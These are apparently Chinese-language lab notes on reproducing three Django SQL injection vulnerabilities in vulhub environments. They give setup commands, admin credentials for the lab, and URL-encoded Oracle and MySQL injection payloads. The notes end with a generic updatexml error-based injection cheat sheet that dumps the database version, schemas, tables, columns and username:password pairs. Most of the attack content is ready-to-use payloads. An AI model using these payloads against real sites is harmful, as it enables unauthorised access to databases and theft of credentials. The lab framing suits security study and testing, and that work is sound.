https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247483996&idx=1&sn=4254dc0a54003cccb29dd42935f8ccea&chksm=903924aca74eadba5f04112b1a287f22dfbd796481012102c712ce2d66ec8cb6ff56ffbe2434&scene=21#wechat_redirect
Django是一款广为流行的开源web框架,由Python编写,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,JSONField是该数据库的一种数据类型。
该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。
docker-compose build
docker-compose up -d
环境启动后,访问http://192.168.33.130:8000即可看到Django默认首页。
漏洞复现
Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
首先登陆后台http://192.168.33.130:8000/admin/,用户名密码为admin、a123123123。
登陆后台后,进入模型Collection的管理页面http://192.168.33.130:8000/admin/vuln/collection/:
然后在GET参数中构造detail__a’b=123提交,其中detail是模型Collection中的JSONField:
http://192.168.33.130:8000/admin/vuln/collection/?detail__a%27b=123
https://github.com/vulhub/vulhub/blob/master/django/CVE-2020-9402/README.zh-cn.md
https://xz.aliyun.com/t/7403
GIS 查询功能中存在的SQL注入漏洞。
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。
漏洞复现
访问http://your-ip:8983 ,出现如下页面表示搭建成功!
存在漏洞的是vuln、vuln2
漏洞一
首先访问http://your-ip:8000/vuln/。
在该网页中使用get方法构造q的参数
,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
可见,括号已注入成功,SQL语句查询报错:
漏洞二
访问http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数
,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20–
https://github.com/vulhub/vulhub/blob/master/django/CVE-2021-35042/README.zh-cn.md
https://blog.csdn.net/weixin_43047908/article/details/119772225
在QuerySet底下的order_by函数中存在的SQL注入漏洞。
该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。
首先,转到列表视图 http://your-ip:8000/vuln/
添加?order=-id到 GET 参数。看到按 id 降序排列的数据。
看到按 id 降序排列的数据。
因此根据这个信息我们可以构造报错注入
来进行攻击获取数据信息。
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
,其中vuln是我们的应用程序和collection模型。
获取用户
其他:
updatexml报错注入原理:
`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#